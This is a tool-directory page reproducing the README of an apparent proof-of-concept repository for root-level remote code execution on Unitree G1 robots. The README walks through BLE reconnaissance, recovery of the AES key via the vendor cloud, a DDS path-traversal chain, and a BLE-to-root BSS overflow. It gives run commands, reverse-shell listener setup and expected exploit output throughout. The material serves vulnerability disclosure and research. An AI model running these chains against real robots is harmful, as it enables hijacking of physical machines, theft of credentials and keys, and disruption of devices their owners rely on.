Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
UniBLEed — Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technical details at boschko.ca/g1-ble-rce/ | Kitploit
Tools/GitHubGitHub/olivierlaflamme/unibleed
Bluetooth SecurityExploit FrameworksIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT Security
GitHubolivierlaflamme/unibleed

UniBLEed

Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technical details at boschko.ca/g1-ble-rce/

View Repository
11017 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

UniBLEed pixel logo

UniBLEed

Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technical details at boschko.ca/g1-ble-rce/

Use this repository only with robots, accounts, and networks you are authorized to test. The active chains can change the robot's WiFi configuration, stop or restart services, crash btgatt-server, and execute commands as root.

Repository map

PathContents
ble-scanningBLE discovery, unpaired GATT enumeration, serial-number discovery, and encrypted bootstrap-blob capture
cloud-oracleReproduction of the historical /device/bindExtData key-recovery flow
chatgo-bashrunner-rceWebRTC-wrapped DDS path-traversal and bashrunner command-execution chain
pure-dds-rceThe same DDS service chain implemented directly with native Cyclone DDS
ble-full-chain-rceActive BLE-to-root chain: bootstrap, cloud key recovery, WiFi provisioning, PIE disclosure, and BSS overflow
scanning-toolsLower-level BLE, DDS, WebRTC, and service-enumeration utilities used during research
ble-bss-overflow.htmlInteractive walkthrough of the 1,050-byte btgatt-server BSS overflow

Values such as 0xF1 and 0xF2 are BLE wire-protocol opcodes. They are not finding numbers.

Names are kept consistent with the shipped components: btgatt-server is the vulnerable BLE process, while chat_go and bashrunner are Unitree service/module names. The native proof-of-concept executable in this repository is named loco_rce.

Setup

Python 3.11 or newer is recommended.

The command examples below start from the repository root. Prompted shell-variable examples use Bash syntax.

root@kitploit:~
git clone <repository-url>
cd githubunitreepoc

python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt

BLE access depends on the host platform. On macOS, the addresses printed by Bleak are CoreBluetooth UUIDs rather than over-the-air MAC addresses.

1. BLE reconnaissance and bootstrap capture

These helpers require physical BLE proximity but no Unitree account, AES key, or prior pairing.

Enumerate the G1's exposed GATT services and characteristic permissions:

root@kitploit:~
python3 ble-scanning/01_ble_gatt_enum.py

Recover the robot serial number:

root@kitploit:~
python3 ble-scanning/discover_sn.py --timeout 30

discover_sn.py first checks BLE manufacturer data. If the advertisement does not contain a serial number, it connects and tries the cleartext 0xF1 request. Add --passive-only to disable that connected fallback.

Capture the RSA-encrypted 0xF2 bootstrap blob and save it for the cloud-recovery step:

root@kitploit:~
python3 ble-scanning/02_ble_bootstrap.py \
  --output ble-scanning/bootstrap-blob.txt

Typical output is deliberately abbreviated here:

root@kitploit:~
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt

The blob is ciphertext, not the plaintext AES key.

2. Cloud bootstrap-key recovery

cloud-oracle/03_cloud_oracle.py reproduces the app's historical key-recovery flow:

  1. Authenticate to Unitree's cloud.
  2. Fetch the cloud RSA public key from GET /system/pubKey.
  3. Encrypt the robot serial number.
  4. Submit the serial number and BLE bootstrap blob to POST /device/bindExtData.

Current servers may enforce robot ownership. Use an account authorized for the target robot.

Run the helper and answer its prompts:

root@kitploit:~
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact

It prompts for the account, robot serial number, and bootstrap-blob path. Use ble-scanning/bootstrap-blob.txt for the file created above. --redact hides the access token and recovered AES key in the printed curl reproduction, making the output safer to share.

For a private run that prints the recovered key, omit --redact:

root@kitploit:~
python3 cloud-oracle/03_cloud_oracle.py

Do not paste access tokens, account credentials, robot keys, serial numbers, or captured blobs into issues or published terminal transcripts.

3. WebRTC/DDS chat_go → bashrunner chain

This PoC reaches the robot's DDS services through its WebRTC data channel. It requires the target robot's AES-128 key and a host connected to the robot's internal Ethernet network.

Configure the host interface as appropriate for the test network. The PoC defaults to robot 192.168.123.161 and callback address 192.168.123.55.

In the first terminal, start a listener:

root@kitploit:~
nc -lv 4444

In the second terminal, provide the 32-character hexadecimal AES key without committing it to the repository, then run the chain:

root@kitploit:~
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY

python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
  <callback-ip> 4444

Expected output:

root@kitploit:~
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done

The final DDS request may time out because restarting or executing the target service disrupts the response path. Confirm success from the listener instead of treating that timeout alone as failure.

Clear the shell variable when finished:

root@kitploit:~
unset UNITREE_AES_KEY

4. Native Cyclone DDS chain

The native client joins DDS domain 0 directly. It does not use WebRTC or the robot's AES key.

The bundled pure-dds-rce/prebuilt_aarch64/loco_rce executable and Cyclone DDS runtime are for Linux AArch64. The executable links against libddsc.so.11; the repository includes that symlink and its libddsc.so.11.0.1 target.

On an AArch64 Linux host connected to the robot's internal Ethernet network:

The launcher flushes the existing addresses from UNITREE_IFACE before assigning UNITREE_LOCAL_CIDR. Use a dedicated lab interface and double-check the interface name before running it.

root@kitploit:~
./pure-dds-rce/run_exploit_c.sh

Run a different command by supplying one quoted argument:

root@kitploit:~
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'

The launcher defaults to interface eth0, local address 192.168.123.55/24, and robot address 192.168.123.161. Override them when needed:

root@kitploit:~
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh

See pure-dds-rce/README.md for the source-build instructions and expected output.

5. Full BLE-to-root chain

This is the most disruptive PoC in the repository. It changes the robot's WiFi configuration, moves it onto the supplied access point, obtains the PIE base, delivers the BSS overflow, and intentionally crashes btgatt-server after launching the callback.

Start the listener:

root@kitploit:~
nc -lv 5560

Read credentials into temporary shell variables so their literal values do not appear in this README or the shell command itself:

root@kitploit:~
read -rp "Unitree account email: " UNITREE_EMAIL
read -rsp "Unitree account password: " UNITREE_PASSWORD
echo
read -rp "Robot serial number: " UNITREE_SN
read -rp "Lab AP SSID: " LAB_AP_SSID
read -rsp "Lab AP password: " LAB_AP_PSK
echo

Run the chain:

root@kitploit:~
python3 ble-full-chain-rce/poc_exploit_standalone.py \
  --email "$UNITREE_EMAIL" \
  --password "$UNITREE_PASSWORD" \
  --ssid "$LAB_AP_SSID" \
  --psk "$LAB_AP_PSK" \
  --callback-ip <host-ip-on-lab-ap> \
  --callback-port 5560

The callback address must be the testing host's current address on the access point supplied through --ssid. Do not reuse an address from an earlier hotspot session. When --callback-ip is omitted or stale, the PoC attempts to select the current hotspot-facing address automatically.

Expected output shape, with identifying and secret values removed:

root@kitploit:~
BLE bootstrap capture encrypted AES blob
RSA blob captured (344 chars)
Logged in as <account>
AES-128 key <redacted>
Injecting SSID: <lab-ap>
Handshake OK
Auto-discovering robot on <lab-subnet> (scanning port 9991)...
Robot found at <robot-ip> (port 9991 open)
PIE base: <runtime-address>
system@PLT: <runtime-address>
1050B -> 21 chunks
Connection 1/3: chunks 1-7
Connection 2/3: chunks 8-14
Connection 3/3: chunks 15-21
  chunk 21/21 crash (ok)
Check your nc listener for a shell.

The final crash is expected in this proof of concept. Cleanup calls the forged destroy(user_data) function pointer first, then passes the forged BSS entry to free(), causing btgatt-server to abort.

Clear the temporary variables when finished:

root@kitploit:~
unset UNITREE_EMAIL UNITREE_PASSWORD UNITREE_SN LAB_AP_SSID LAB_AP_PSK

Interactive BSS-overflow walkthrough

The standalone HTML page visualizes the payload layout, the 21 BLE writes, the epoll_terminate trigger, and the forged mainloop_list[2] cleanup entry.

From the repository root:

root@kitploit:~
python3 -m http.server 8000

Open http://localhost:8000/ble-bss-overflow.html. The page itself is standalone except for the Nintendo DS font, which is loaded from the public ds.css repository.

Platform notes

  • The BLE tools use the host operating system's Bluetooth stack and require physical proximity to the robot.
  • The WebRTC chain expects network access to the robot's internal PC at 192.168.123.161:9991 unless the source is adjusted.
  • The prebuilt native DDS files are Linux AArch64 binaries; they do not run on macOS or x86-64 Linux.
  • An ICMP timeout does not prove DDS is unavailable. DDS discovery depends on the correct wired interface and multicast routing.
  • Several tools are intentionally low-level research utilities rather than polished end-user applications. Read the source and understand the side effects before running them.

Responsible use

Do not run these PoCs against robots you do not own or have explicit permission to test. Keep credentials, access tokens, AES keys, serial numbers, BLE captures, and callback addresses out of commits and issue reports.

Download Tool